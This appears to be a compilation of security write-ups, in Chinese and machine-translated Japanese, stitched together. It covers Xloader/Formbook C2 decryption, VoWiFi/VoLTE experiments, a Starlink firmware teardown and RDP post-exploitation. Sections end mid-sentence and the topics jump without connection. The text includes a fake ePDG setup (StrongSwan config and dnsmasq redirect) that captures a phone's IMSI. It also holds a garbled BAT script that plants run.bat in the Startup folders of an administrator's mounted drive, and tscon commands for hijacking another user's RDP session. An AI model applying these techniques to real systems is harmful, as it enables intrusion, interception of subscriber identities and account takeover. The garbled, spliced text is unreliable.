其中一個PUSHEBP 塊包含加密字符串和誘餌C2 列表,這些誘餌是合法域,被添加以誤導惡意軟件研究人員和自動惡意軟件分析系統。真正的C2 服務器是單獨存儲的,並使用另一種更複雜的方案進行加密。負責解密真實C2 服務器的偽代碼如下圖所示。

3.png

Xloader C2 解密算法

在上圖中,RC4_based_Decryptor 函數由RC4 加密(使用0x14 字節密鑰)和另外兩個編碼層組成,如下所示:

4.png

附加的編碼層由簡單的減法運算組成:

5.png

VM_Decryptor 函數是Xloader 使用的另一種算法,它實現了一個自定義虛擬機(VM)。下面的Python代碼行重現了Xloader為解密真實的C2而執行的步驟。

6.png

解密後,C2 URL 的格式類似於www.domain.tld/botnet_id/

C2通信發生在誘餌域和真實的C2服務器上,包括發送從受害者那裡竊取的數據。因此,有一種可能,備份C2可以隱藏在誘餌C2域中,並在主C2域被刪除時用作備用通信通道。

Formbook 通信加密在FormBook中,HTTP GET參數(和POST數據)是通過四個步驟加密的:

1.使用真實C2 的域和路徑,通過以下方式計算RC4 密鑰:Reverse_DWORDs(SHA1(

2.結果被用作一個RC4 密鑰來加密數據;

3.數據經過RC4 加密後,還會使用Base64 進行額外編碼;

4.通過HTTP POST 請求發送的數據使用表1 中所示的字符替換進行格式化。

7.png

Formbook C2 字符替換

因此,Formbook C2通信可以很容易地通過逆向過程解密,因為C2域和路徑是已知的。

Xloader 通信加密的具體細節XLoader 中的網絡加密更為複雜,該過程中添加了一個額外的RC4 層,其中包含一個複雜的算法,該算法使用以下步驟來推導加密密鑰:

1.為了加密HTTP網絡數據,Xloader首先計算一個我們稱之為Key0Comm的密鑰,如下圖所示。

8.png

Xloader KeyComm0 推導

正如我們在上圖中看到的,PUSHEBP 塊7 是使用Xloader VM 解密的。一旦解密,這個塊的長度為0x15字節。第一個0x14字節用作RC4密鑰,最後一個字節用於根據switch語句選擇並解密另一個PUSHEBP塊(在4、5、6、8、9和10塊中)。因此導出的參數Key0Comm 如下:

Key0Comm=RC4_based_Decryptor(decPushebpBlock7Key[:0x14],decSwitchBasedPushebpBlock)然而,即使在相同版本的Xloader上,PUSHEBP 塊的順序以及開關和塊編號之間的關聯也會從一個樣本更改為另一個樣本(即此函數的代碼是隨機的)。下圖顯示了此函數在兩個不同Xloader v2.5 示例之間的比較。

9.png

Xloader KeyComm0函數映射到一個塊

下圖顯示了這些switch 語句如何映射到這些示例中的不同塊ID。

10.png

Xloader 塊ID 映射示例

為了對C2 通信執行加密,必須知道映射這些塊的特定樣本表,以導出加密密鑰Key0Comm。

2.接下來,使用與Formbook相同的算法計算我們稱為Key1Comm的另一個密鑰:Key1Comm=Reverse_DWORDs(SHA1(

3.最後,我們需要計算最後一個密鑰,使用Xloader 自定義的基於RC4 的解密算法如下:

Key2Comm=RC4based_Decryptor(Key0Comm,Key1Comm)擁有所有這三個RC4 密鑰,我們可以加密和解密Xloader C2 通信。 使用擁有兩層標準RC4的密鑰Key2Comm 和Key1Comm 對數據包進行加密,如下所示:

11.png

Xloader 還進一步應用了前面描述的用於POST 查詢的Base64 和字符替換

總結Xloader 是一個成熟的惡意軟件家族,擁有許多誤導研究人員和阻礙惡意軟件分析的技術,包括多層加密和自定義虛擬機。儘管開發者放棄了Formbook 分支以專注於重新命名的Xloader,但這兩種惡意軟件今天仍然非常活躍。 Formbook仍然被使用洩露的面板源代碼和自我管理C2 的攻擊者使用,而原始開發者繼續將Xloader 作為MaaS 出售,支持和租用服務器基礎設施。毫不奇怪,它一直是近年來最活躍的威脅之一。

首先我會通過三個實驗來學習VoWifi/VoLTE的工作原理:

使用fasferraz 的Python IKEv2/EAP-AKA 實現連接到VoWifi:失敗;

使用Linphone 連接到VoLTE:失敗;

使用Wi-Fi 熱點、假DNS 服務器和VPN 服務器捕獲IMSI:成功;

VoLTE和VoWifi看起來可能很複雜,但要打電話,只需要和兩台電腦進行連接就可以了:

1.1.png

VoLTE和VoWifi是基於常見技術的:

在VoLTE 中,電話通過SIP 連接到P-CSCF,這是運營商的SIP VoIP 服務器。

在VoWifi中,手機首先與運營商的VoWifi VPN服務器ePDG進行IPSec VPN連接。然後通過VPN連接到P-CSCF SIP服務器,比如VoLTE。

然而,VoLTE的實現與我們日常使用的vpn和VoIP軟件不兼容。這份來自Sysmocom的報告顯示,修改Ubuntu Touch以支持VoLTE需要幾個月的時間。

那麼,是什麼阻止我用普通的VPN軟件連接到VoWifi VPN服務器,或者用普通的VoIP軟件連接到VoLTE SIP服務器呢?我決定找出答案。

在VMWare Fusion虛擬機上的Ubuntu 21.04上進行的實驗,連接到Mint上運行Android 11的Pixel 3 XL上(T-Mobile MVNO)。

連接到VoWifi為了連接到特殊的VoWifi VPN,我使用了fasferraz的SWu-IKEv2,這是一個IKEv2/IPSec VPN客戶端,它使用SIM卡實現了特殊的EAP-AKA認證方法。

在EAP-AKA 中:

只有運營商和SIM 卡本身知道密鑰K;

認證時,運營商發送兩個值:AUTN 值和RAND 值;

AUTN 值向SIM 卡證明它是真正的運營商;

SIM卡用秘鑰K對RAND值進行加密,導出兩個秘鑰:IK、CK和響應值RES;

它將RES 值發回給運營商以證明它是真正的SIM 卡;

手機使用IK 和CK 加密連接;

運營商使用K 密鑰進行相同的加密以獲得預期的IK、CK 和RES 值;

運營商在解密連接前將RES值與IK和CK進行比較;

由於沒有其他人擁有K 密鑰,因此他們無法竊聽或冒充用戶/運營商;

綜上所述,我需要將AUTN和RAND發送到SIM卡上,並取回RES、IK和CK。

SWu-IKEv2 支持與真正的SIM 卡進行EAP-AKA 通信,定義了一個HTTP API 來與SIM 卡讀卡器通信。

我決定將該API實現為一個Android應用程序,這樣我可以在我的手機中使用SIM卡:

Android有一個公共API, TelephonyManager。 getIccAuthentication來運行這個身份驗證流程;

為Android 的Wi-Fi 添加框架,因為存在使用SIM 卡進行身份驗證的Wi-Fi 熱點;

ADB也可以在Android 10及以上版本上使用;

在Android 8.1 上不可用,我嘗試使用其他SIM 卡API 來嘗試獲取此值,但每次都不成功。我構建了一個生成SIM 身份驗證請求的HTTP 服務器Android 應用程序:

adbshellsh/sdcard/runsimserver.shserve3333我的應用程序使用http而不是https,因為我不需要處理證書。值得慶幸的是,很容易修補SWu-IKEv2 以支持純http。

如果出現故障,adb logcat -b radio 通常會給出調製解調器的錯誤消息。

我在網上搜索T-Mobile的ePDG地址,將APN設置為ims,將SWu-IKEv2的SIM讀取器地址指向我的手機,並嘗試連接:

#python3swu_emulator.py-m'http://192.168.1.9:3333'-d'ss.epdg.epc.mnc260.mcc310.pub.3gppnetwork.org'-M310-N260-a'ims'STATE3:

-------

sendingIKE_SA_AUTH(2)

receiveddecodedmessage:

[[46,[[41,[0,24,b'',b'']]]]]

receivedIKE_AUTH(2)

OTHER_ERROR:24它會獲得大部分握手,包括SIM 卡憑據,但會在IKE_SA_AUTH 上返回錯誤。

可能是因為Mint Mobile要求我在打開Wi-Fi通話前註冊一個緊急地址,或者SWu-IKEv2沒有實現與T-Mobile/Mint兼容的握手。

事實上,當我嘗試Verizon的Wi-Fi呼叫服務器時,SWu-IKEv2甚至無法通過握手的第一步,也無法進行SIM卡認證。我嘗試了StrongSwan,但無法找出配置文件。

連接到VoLTE如果我無法連接到VoWifi VPN,是否可以直接連接到VoLTE SIP服務器?

在Android上,我可以使用dumpsys找到SIP服務器地址:

$dumpsystelephony.registryPcscfAddresses:[/fd00:1234:5678:1234:1,/fd00:1234:1:123:1,/fd00:1234:5678:1234:2]這是一個私有的(fd00:) IP地址,所以不能通過互聯網訪問,但我可以通過Wi-Fi從我的手機訪問它。

我首先嘗試了SIP測試器sipp,看看它是否可以進行任何SIP連接:

$sipp-snuacfd00:1234:1:123:1-m1-auth_uri'sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org'

Resolvingremotehost'fd00:1234:1:123:1'.Done.

2021-11-1412:17:42.1888101636910262.188810:AbortingcallonunexpectedmessageforCall-Id'1-4126@1234:5678:1234:5678:1234:5678:1234:5678':whileexpecting'100'(index1),received'SIP/2.0403Forbidden

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678]:5060;branch=

To:service;tag=

From:sipp;tag=

Call-ID:1-4126@1234:5678:1234:5678:1234:5678:1234:5678

CSeq:1INVITE

Content-Length:0

'因為它得到了一個SIP響應,所以我決定嘗試一下Linphone,看看是否效果更好。

echo'registersip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org[fd00:1234:5678:1234:1]'|linphone-daemon--config./lollinphonerc

daemon-linphoneStatus:Ok

Id:2

daemon-linphoneQuitting.

查看日誌,它似乎失敗並顯示需要擴展消息:

REGISTERsip:ims.mnc260.mcc310.3gppnetwork.orgSIP/2.0

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;branch=z9hG4bK.CnnLnAH2c;rport

From:tag=by3qRAb72

To:sip:310260111111111@ims.mnc260.mcc310.3gppnetwork.org

CSeq:21REGISTER

Call-ID:BqHzXhfQzf

Max-Forwards:70

Supported:replaces,outbound,gruu,sec-agree

Accept:application/sdp

Accept:text/plain

Accept:application/vnd.gsma.rcs-ft-http+xml

Contact:+sip.instance=''

Expires:0

User-Agent:Unknown(belle-sip/4.4.0)

SIP/2.0421ExtensionRequired

Via:SIP/2.0/UDP[1234:5678:1234:5678:1234:5678:1234:5678:3080]:5060;received=1234:5678:1234:5678:1234:5678:1234:5678:3080;rport=5060;branch=z9hG4bK.MEpCNGpx0

To:tag=hmpyfr9c6bln4s4tqy698hv3v

From:tag=LEotRcq8b

Call-ID:H3P5ZXk7Z2

CSeq:20REGISTER

Require:sec-agree

Content-Length:0在查看了真正的SIP 客戶端有哪些擴展之後,我嘗試將此行添加到Linphone 配置中。

[sip]

supported=replaces,outbound,gruu,sec-agree這在標題中設置了Supported: replaces, outbound, gruu, sec-agree,但我得到了完全相同的Extension Required 錯誤。

假的VoWifi ePDG如上所述,所以連接到運營商是不可能的。

值得慶幸的是,偽裝成是運營商來獲取IMSI 很容易,並且有如何做到這一點的指南。

為了偽裝成ePDG Wi-Fi 呼叫VPN,我創建了一個StrongSwan VPN 配置:

configsetup

charondebug='ike4'

connikev2-vpn

auto=add

type=tunnel

keyexchange=ikev2

left=%any

leftid=@ims

right=%any

rightid=%any

rightauth=eap-aka

rightsourceip=10.10.10.0/24

rightdns=8.8.8.8,8.8.4.4開始StrongSwan:

sudoipsecstart--nofork--confhello.conf啟動了一個DNS 服務器,將ePDG VPN 服務器域重定向到我的假Wi-Fi 呼叫服務器:

sudodnsmasq-d--no-resolv--no-hosts--log-queries--server8.8.8.8--address=/epdg.epc.mnc260.mcc310.pub.3gppnetwork.org/192.168.1.10然後我更改了手機上的DNS,激活了Wi-Fi 呼叫,然後在我的控制台上看到了這個:

07[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](496bytes)

07[ENC]parsedIKE_SA_INITrequest0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)]

07[IKE]192.168.1.9isinitiatinganIKE_SA

07[CFG]selectedproposal:IKE:AES_CBC_128/AES_XCBC_96/PRF_AES128_XCBC/MODP_2048

07[ENC]generatingIKE_SA_INITresponse0[SAKENoN(NATD_S_IP)N(NATD_D_IP)N(FRAG_SUP)N(CHDLESS_SUP)N(MULT_AUTH)]

07[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](456bytes)

08[NET]receivedpacket:from192.168.1.9[40844]to192.168.1.10[500](348bytes)

08[ENC]unknownattributetype(16386)

08[ENC]parsedIKE_AUTHrequest1[IDiIDrCPRQ((16386)DNS6DNS6ADDR6)SATSiTSr]

08[CFG]lookingforpeerconfigsmatching192.168.1.10[ims].192.168.1.9[0310261111111111@nai.epc.mnc260.mcc310.3gppnetwork.org]

08[CFG]nomatchingpeerconfigfound

08[ENC]generatingIKE_AUTHresponse1[N(AUTH_FAILED)]

08[NET]sendingpacket:from192.168.1.10[500]to192.168.1.9[40844](76bytes)還有我的IMSI,發送給任何控制Wi-Fi 網絡、DNS 和VPN 服務器的對手。

基於Wi-Fi 搭建一個VoLTE/VoWiFi 環境對VoLTE/VoWiFi 的研究不需要昂貴的設備!通過使用免費軟件設置你自己的Wi-Fi 呼叫服務器,了解VoLTE/VoWiFi 的工作原理。

2.1.jpg

我會在本文中向你展示如何接管越獄iPhone 上的Wi-Fi 通話,並將其集成到本地電話撥號器和短信應用程序中,就像真正的運營商一樣。

我的最終目標是發行我自己的SIM 卡,通過Wi-Fi 將任何越獄或未越獄的手機連接到我的電話網絡。

VoLTE 和Wi-Fi 通話基於IPsec/IKEv2 和SIP 等開放標準,因此我們的電話網絡將使用免費軟件構建:

iPhone - 越獄調整以重定向Wi-Fi 呼叫- 我的Docker 容器- StrongSwan - Kamailio;

檢查VoWiFi要了解VoLTE 和VoWiFi,首先要在你撥打電話或發送SMS 時捕獲手機的流量。

你只需要一部iPhone 和一台裝有Xcode 和Wireshark 的Mac。

Xcode 提供了rvictl 工具來捕獲來自iPhone 的所有網絡流量,無需越獄。

如果你沒有Mac,gh2o 的rvi_capture 可以在Linux 和Windows 上捕獲。

所有電話和運營商之間的SIP消息是可見的,完全不加密。你可以看到當你撥打另一個電話時會發生什麼:

2.2.png

或者你如何接收短信:

2.3.png

在VoWiFi 上,你甚至可以轉儲實際的語音編解碼器數據包。

此外,iPhone 還提供來自VoWiFi ePDG VPN 隧道和SMS 處理的日誌:

在Mac 上打開控制台應用程序,過濾到CommCenter,然後啟用“操作- 包含信息消息/包含調試消息”。然後,過濾CommCenter 以獲取VoLTE/VoWiFi 消息,例如此IKEv2 握手:

2.4.png

建立自己的電話網絡如果你不想只查看VoLTE/VoWiFi 數據包怎麼辦?如果你想建立自己的網絡怎麼辦?為此,你需要一個越獄的iPhone 和一個Docker 容器。

我在iOS 14.1 上使用帶有Verizon SIM 卡的越獄iPhone 12。

如果你使用的是Android,則搭載Android 10 及更高版本的設備(所有2020 年或更高版本的設備)可能會在沒有root 的情況下重定向Wi-Fi 呼叫,但我還沒有嘗試過。

重定向ePDG 連接我們的目標是VoWiFi(Wi-Fi 通話),因為運行VoLTE 網絡需要至少150 美元的收音機,並獲得LTE頻率的廣播許可。 Wi-Fi 不需要任何特殊的硬件或繁文縟節。

Wi-Fi 通話使用IPsec/IKEv2 VPN 隧道進行保護,並使用EAP-AKA 進行身份驗證,它使用SIM 卡上只有運營商知道的密鑰。

由於我沒有空白SIM 卡,我編寫了一個越獄插件,用簡單的預共享密鑰(密碼)身份驗證替換SIM 卡檢查。

要運行調整,你需要:

越獄你的手機並安裝Substrate 或其他方法掛鉤平台;

設置Theos;

複製RedirectVoWiFiTweak;

將服務器地址指向你的VoWiFi 服務器的地址;

安裝包;

將你的手機置於飛行模式,然後啟用Wi-Fi通話(設置-蜂窩- Wi-Fi通話);

最終結果:VoWifi 隧道為你的IPsec/IKEv2 VPN 服務器創建了一個VPN,而不是Verizon 的。

我是如何構建調整的iPhone 在用戶空間中運行整個VoLTE/VoWiFi 堆棧:通過越獄,我們可以做任何事情。但是,我的最終目標是在未越獄的手機上使用自定義SIM 卡進行這項工作,所以我只做了最小的更改。

ePDG 只是一個IPsec/IKEv2 VPN 隧道,在SIM 卡上具有EAP-AKA 身份驗證。要禁用EAP-AKA 身份驗證並切換到PSK:

我運行nm CommCenter,看到它正在使用NEIPSecIKECreateSessionWithInterface啟動VPN隧道;

我在NetworkExtensions中找到了這個符號,並在Ghidra中分解了它;

它是一個包裝器-[NEIKEv2Session

initWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:ssession:packetDelegate:]';我鉤住了那個方法,並刪除了參數;

我用PSK 在Mac 上創建了另一個IPsec/IKEv2 隧道;

我附加到macOS 的VPN 實現:

lldb-nNEIKEv2Provider-w

binitWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:saSession:packetDelegate:我將其參數與VoLTE ePDG隧道進行了比較,以了解macOS如何設置PSK;

我為PSK設置了相同的標誌;

這是我第一次調試iPhone,結果如下:

dlevi309 向我發送拉取請求以自動重啟CommCenter;

hbkirb 將我指向HearseDev 的Theos 徽標語言的clang 格式包裝器;

用到的資源如下:

Kanns103 的調整開髮指南;

elihwyma 的commcenterpatch13,它也掛鉤了CommCenter;

擁有StrongSwan 和Kamailio 的Wi-Fi 呼叫服務器

用一個電話與兩個服務通話來建立VoWifi:

ePDG,一個IPsec/IKEv2 VPN 服務器,我們使用StrongSwan;

P-CSCF,一個SIP VoIP 服務器,我們使用Kamailio;

我用兩個預裝做了一個Docker容器。

在macOS 12.1/Mac Mini 2020 (M1)/Docker for Mac 上測試。

首先,如果你不在Verizon 上,請在配置中更改IMS 域。你可以通過使用rvictl 捕獲SIP REGISTER 請求來查找域。

然後,運行:

dockercomposebuild

dockercomposeup等待來自電話的連接:

12[IKE]IKE_SAikev2-vpn-iphone[4]establishedbetween172.19.0.2[ims].172.19.0.1

12[IKE]IKE_SAikev2-vpn-iphone[4]statechange:CONNECTING=ESTABLISHED然後嘗試向手機發送短信:

ssh-p22222root@localhost

Password:vowifi

$encodesms1555444333319085823275'hello'將

或緊急警報:

$encodesms_cdmaemerg19085823275'duckandcover'或者打個電話:

$baresip

/uanewsip:+15554443333@localhost

/dialsip:+19085823275@localhost甚至嘗試在你自己的網絡上複製Purdue大學研

1.Starlink星鏈(Starlink)計劃的設計理念,是通過約4000 枚相互鏈接的衛星和依據地理分佈的地面基站,構築一個覆蓋全球的廉價太空通信系統。

Starlink 採用的是國際電聯規定的Ku、Ka頻率,5G的頻率是500MHz,衛星通信Ku波段加起來有1GHz。

一個衛星相當於很多基站,Starlink採用的是高通量技術,高通量衛星可以從一顆衛星上發射幾十個覆蓋波束,每個覆蓋一小片,就像移動蜂窩似的,這樣不同小區的頻率就可以復用了,又提升幾十倍的容量。

傳統的衛星所有的終端最終都要落在地面站,通過地面站連入互聯網。如果按照這個估算,這4000個衛星想要跑起來至少得4000個地面站。但是如果未來衛星的網絡足夠大,就沒有那麼多需要落地的信息了——全部由星間鏈路完成了。也就是,你通信的對端和你都是直連衛星的了。

感覺很多人對偏遠地區定義有所誤解,信號走Starlink的衛星會多出一段上下行延遲,額外路程就按340km軌道高度的兩倍算,走地面光纜的速度大概是真空光通訊的2/3,也就是說即使是平原直線,信號源1400km之外理論上都是Starlink佔優勢。在北京上杭州,深圳,香港的網站都算是訪問偏遠地區,Starlink比起地面網絡延遲更短更佔優勢。

其次,地面光纜在復雜地形上的佈線成本是極其昂貴的,並不是什麼地方都又平整人口又多。被複雜地形隔開的兩個人口密集區,要快速數據通信怎麼辦?跨越青藏高原和喜馬拉雅山幾百公里無人區上建設起來的的成都-拉薩-日喀則-乃維拉-勒克瑙-新德里中印光纜,現在是將來也注定是建設維護成本極其昂貴的。在此之前要從斯里蘭卡-新加坡-香港的海底光纜中轉,繞的圈子和帶寬限制更不用說了。但是Starlink成型以後,新德里和成都的直接通訊一點額外成本都沒有。

Starlink 官網:

https://www.starlink.com/

2.固件拆解Starlink 用戶終端(UT) 的暱稱是Dishy McFlatface,安裝測試了一下Starlink 用戶終端,發現下載速度高達268 Mbps,上傳速度高達49 Mbps,速度還是不錯的。

image-20211216105529640.png image-20211216105529640

拆解Starlink 用戶終端,我們主要關心SoC和固件文件,取下塑料蓋後,可以看到覆蓋在PCB上的金屬屏蔽層,有一個以太網連接口,還有一個4針的JST SH。

image-20211216110022243 image-20211216110022243.png image-20211216110031816

image-20211216110031816.png

通過USB轉TTL轉換器將UT連接上,可以看到一些UT的啟動信息,UT使用T-Boot引導加載程序,輸入falcon後會中斷引導過程,可以訪問U-Boot CLI。

U-Boot2020.04-gddb7afb(Apr162021-21:10:45+0000)

Model:Catson

DRAM:1004MiB

MMC:Fastboot:eMMC:8xbit-div2

stm-sdhci0:0

In:nulldev

Out:serial

Err:serial

CPUID:0x000201000x870824250xb9ca4b91

DetectedBoardrev:#rev2_proto2

sdhci_set_clock:Timeouttowaitcmddatainhibit

FIP1:3FIP2:3

BOOTSLOTB

Net:NetInitializationSkipped

Noethernetfound.

*

+

++

++

++

+++++++

++++

++++

+++

+++

+++

++++

++++

++++++++++

Board:SPACEXCATSONUTERM

======================================

=Type'falcon'tostopbootprocess=

======================================繼續執行引導過程,U-Boot會通過存儲在eMMC上的ulmage FIT鏡像文件加載內核、ramdisk、FDT。會檢查內核、ramdisk、FDT的完整性(SHA256)和真實性(RSA 2048)。

UT從ROM引導加載程序到引導Linux系統初始化都實現了完整的可信引導鏈(TF-A)。

switchtopartitions#0,OK

mmc0(part0)iscurrentdevice

MMCread:dev#0,block#98304,count49152.49152blocksread:OK

##LoadingkernelfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'kernel@1'kernelsubimage

Description:compressedkernel

Created:2021-04-1621:10:45UTC

Type:KernelImage

Compression:lzmacompressed

DataStart:0xa20000dc

DataSize:3520634Bytes=3.4MiB

Architecture:AArch64

OS:Linux

LoadAddress:0x80080000

LoadSize:unavailable

EntryPoint:0x80080000

Hashalgo:sha256

Hashvalue:5efc55925a69298638157156bf118357e01435c9f9299743954af25a2638adc2

VerifyingHashIntegrity.sha256+OK

##LoadingramdiskfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'ramdisk@1'ramdisksubimage

Description:compressedramdisk

Created:2021-04-1621:10:45UTC

Type:RAMDiskImage

Compression:lzmacompressed

DataStart:0xa2427f38

DataSize:8093203Bytes=7.7MiB

Architecture:AArch64

OS:Linux

LoadAddress:0xb0000000

LoadSize:unavailable

EntryPoint:0xb0000000

Hashalgo:sha256

Hashvalue:57020a8dbff20b861a4623cd73ac881e852d257b7dda3fc29ea8d795fac722aa

VerifyingHashIntegrity.sha256+OK

Loadingramdiskfrom0xa2427f38to0xb0000000

WARNING:'compression'nodesforramdisksaredeprecated,pleasefixyour.itsfile!

##LoadingfdtfromFITImageata2000000.

Using'rev2_proto2@1'configuration

VerifyingHashIntegrity.sha256,rsa2048:dev+OK

Trying'rev2_proto2_fdt@1'fdtsubimage

Description:rev2proto2devicetree

Created:2021-04-1621:10:45UTC

Type:FlatDeviceTree

Compression:uncompressed

DataStart:0xa23fc674

DataSize:59720Bytes=58.3KiB

Architecture:AArch64

LoadAddress:0x8f000000

Hashalgo:sha256

Hashvalue:cca3af2e3bbaa1ef915d474eb9034a770b01d780ace925c6e82efa579334dea8

VerifyingHashIntegrity.sha256+OK

Loadingfdtfrom0xa23fc674to0x8f000000

Bootingusingthefdtblobat0x8f000000

UncompressingKernelImage

LoadingRamdiskto8f848000,end8ffffe13.OK

ERROR:reservingfdtmemoryregionfailed(addr=b0000000size=10000000)

LoadingDeviceTreeto000000008f836000,end000000008f847947.OK

WARNING:ethactisnotset.Notincludingethprimein/chosen.

Startingkernel.可以看到內核命令參數、分區基地址、分區長度,還可以看到SoC包含4個CPU內核。

[0.000000]000:DetectedVIPTI-cacheonCPU0

[0.000000]000:Built1zonelists,mobilitygroupingon.Totalpages:193536

[0.000000]000:Kernelcommandline:rdinit=/usr/sbin/sxruntime_startmtdoops.mtddev=mtdoopsconsole=ttyAS0,115200quietalloc_snapshottrace_buf_size=5Mrcutree.kthread_prio=80earlycon=stasc,mmio32,0x8850000,115200n8uio_pdrv_genirq.of_id=generic-uioaud it=1SXRUNTIME_EXPECT_SUCCESS=trueblkdevparts=mmcblk0:0x00100000@0x00000000(BOOTFIP_0),0x00100000@0x00100000(BOOTFIP_1),0x00100000@0x00200000(BOOTFIP_2),0x00100000@0x00300000(BOOTFIP_3),0x00080000@0x00400000(BOOTTERM1),0x00080000@0x00500000(BOOTTE RM2),0x00100000@0x00600000(BOOT_A_0),0x00100000@0x00700000(BOOT_B_0),0x00100000@0x00800000(BOOT_A_1),0x00100000@0x00900000(BO OT_B_1),0x00100000@0x00A00000(UBOOT_TERM1),0x00100000@0x00B00000(UBOOT_TERM2),0x00050000@0x00FB0000(SXID),0x01800000@0x010000 00(KERNEL_A),0x00800000@0x02800000(CONFIG_A),0x01800000@0x03000000(KERNEL_B),0x00800000@0x04800000(CONFIG_B),0x01800000@0x050 00000(SX_A),0x01800000@0x06800000(SX_B),0x00020000@0x00F30000(VERSION_INFO_A),0x00020000@0x00F50000(VERSION_INFO_B),0x00020000

[0.000000]000:audit:enabled(afterinitialization)

[0.000000]000:Dentrycachehashtableentries:131072(order:9,2097152bytes,linear)

[0.000000]000:Inode-cachehashtableentries:65536(order:7,524288bytes,linear)

[0.000000]000:memauto-init:stack:off,heapalloc:off,heapfree:off

[0.000000]000:Memory:746884K/786432Kavailable(6718Kkernelcode,854Krwdata,1648Krodata,704Kinit,329Kbss,39548Kreserved,0Kcma-reserved)

[0.000000]000:SLUB:HWalign=64,Order=0-3,MinObjects=0,CPUs=4,Nodes=1

[0.000000]000:ftrace:allocating23664entriesin93pages

[0.000000]000:rcu:PreemptiblehierarchicalRCUimplementation.

[0.000000]000:rcu:RCUeventtracingisenabled.

[0.000000]000:rcu:RCUrestrictingCPUsfromNR_CPUS=8tonr_cpu_ids=4.

[0.000000]000:rcu:RCUpriorityboosting:priority80delay500ms.

[0.000000]000:rcu:RCU_SOFTIRQprocessingmovedtorcuckthreads.

[0.000000]000:Noexpeditedgraceperiod(rcu_normal_after_boot).

[0.000000]000:TasksRCUenabled.

[0.000000]000:rcu:RCUcalculatedvalueofscheduler-enlistmentdelayis100jiffies.

[0.000000]000:rcu:Adjustinggeometryforrcu_fanout_leaf=16,nr_cpu_ids=4

[0.000000]000:NR_IRQS:64,nr_irqs:64,preallocatedirqs:0

[0.000000]000:random:get_random_bytescalledfromstart_kernel+0x33c/0x4b0withcrng_init=0

[0.000000]000:arch_timer:cp15timer(s)runningat60.00MHz(virt).

[0.000000]000:clocksource:arch_sys_counter:mask:0xffffffffffffffmax_cycles:0x1bacf917bf,max_idle_ns:881590412290ns

[0.000000]000:sched_clock:56bitsat60MHz,resolution16ns,wrapsevery4398046511098ns

[0.008552]000:Calibratingdelayloop(skipped),valuecalculatedusingtimerfrequency.

[0.016871]000:120.00BogoMIPS(lpj=60000)

[0.021129]000:pid_max:default:32768minimum:301

[0.026307]000:Mount-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.034005]000:Mountpoint-cachehashtableentries:2048(order:2,16384bytes,linear)

[0.048359]000:ASIDallocatorinitialisedwith32768entries

[0.050341]000:rcu:HierarchicalSRCUimplementation.

[0.061390]000:smp:BringingupsecondaryCPUs.

[0.078677]001:DetectedVIPTI-cacheonCPU1

[0.078755]001:CPU1:Bootedsecondaryprocessor0x0000000001[0x410fd034]

[0.095799]002:DetectedVIPTI-cacheonCPU2

[0.095858]002:CPU2:Bootedsecondaryprocessor0x0000000002[0x410fd034]

[0.112970]003:DetectedVIPTI-cacheonCPU3

[0.11

最近、プロジェクトの管理者は、RDPがマウントされた後、管理者を取り除き、時間があればRDPの使用方法を整理すると考えました。RDP利用总结:吊り下げディスクの使用に基づいてファイルをコピーすることはそれほど多くありません。ファイルをドラッグするか、異なる吊り下げディスクに従ってスタートアップアイテムをドロップするかどうかを決定できます。 https://github.com/cnucky/darkguardiandarkguardianなど、ファイルを自動的に監視およびコピーするアプリケーションがいくつかあります。RDPログイン後のTSClient(ハングディスク)を監視するために使用されるツールです。ツールがバックグラウンドで実行されている場合、ハンギングディスク上のファイルのリストを自動的に取得し、指定されたファイルをダウンロードし、マウントされたハードディスクのスタートアップアイテムにトロイの木馬ファイルをコピーできます。

20201214123213

rdpinception

この方法は比較的役に立たない。原則は、BATスクリプトを使用してサーバースタートアップアイテム/WinLogon実行スクリプトに配置し、管理者がディスクをハングアップして実行コマンドを再起動するのを待つことです。

@ECHOオフ

Windowsの更新をエコー.

@ECHOオフ

タイムアウト1 NUL 21

mkdir \\ tsclient \ c \ temp nul 21

MKDIR C: \ TEMP NUL 21

run.bat c: \ temp nul 21をコピーします

run.bat \\ tsclient \ c \ temp nul 21をコピーします

del /q%temp%\ temp_00.txt nul 21

dirs=dir /a:d /b /s c: \ users \*startup*

dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*

echo |%dirs%| findstr /i 'microsoft \ windows \ start menu \ programs \ startup' '%temp%\ temp_00.txt'

echo |%dirs2%| FindStr /I 'Microsoft \ Windows \ Start Menu \ Programs \ Startup' '%TEMP%\ TEMP_00.TXT'

for /f 'tokens=*' %% a in(%temp%\ temp_00.txt)do(

run.bat '%% a' nul 21をコピーします

c: \ temp \ run.bat '%% a' nul 21をコピーします

コピー\\ tsclient \ c \ temp \ run.bat '%% a' nul 21

))

del /q%temp%\ temp_00.txt nul 21

rem if 'windomain'='%userdomain%'(cmd.exe /c calc.exe)

RDPセッションハイジャック

実用コマンドはtsconです。これは、パスワードを介して別のセッションに切り替えるのが垂直です。ただし、システムでは、パスワードを使用せずに異なるユーザーセッションを切り替えることができます。セッションを別のセッションに切り替えます。

この手法は、主にWin7以降の環境を対象としています。全体的なアプリケーションシナリオは、Windows 2012以降がデフォルトでプレーンテキストを保存しない場合、ターゲットホストに切り替えるか、ドメイン内の現在のユーザーがローカルユーザーである場合、ドメインユーザー許可に切り替えることができます。

まず、PSEXECをローカルで使用してシステムに言及します。 (ここでは、システムサービスを手動で作成してそれらを実装できます。)Shift/Utilmanバックドアを使用して、パスワードなしでデスクトップにログインすることもできます。

1.psexec

20201214130520

c: \ windows \ system32quser

ユーザー名セッション名IDステータスアイドル時間ログイン時間

管理者RDP-TCP#1 1が実行されています。 2020/12/14 11:14

テストRDP-TCP#0 2ランニング1:02 2020/12/14 13:04

C: \ Windows \ System32TScon 2 RDP-TCP#1 20201214141422

2。サービス

Quser

